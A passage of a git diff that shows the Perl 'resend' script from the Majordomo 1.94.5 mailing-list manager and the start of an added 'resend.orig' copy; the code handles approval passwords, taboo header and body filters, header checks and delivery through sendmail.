&cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/update/scripts/packages/majordomo-1.94.5/resend.orig b/update/scripts/packages/majordomo-1.94.5/resend.orig new file mode 100644 index 0000000..4ffce5a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/resend.orig @@ -0,0 +1,969 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +require "getopts.pl"; +&Getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +require "ctime.pl"; # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + 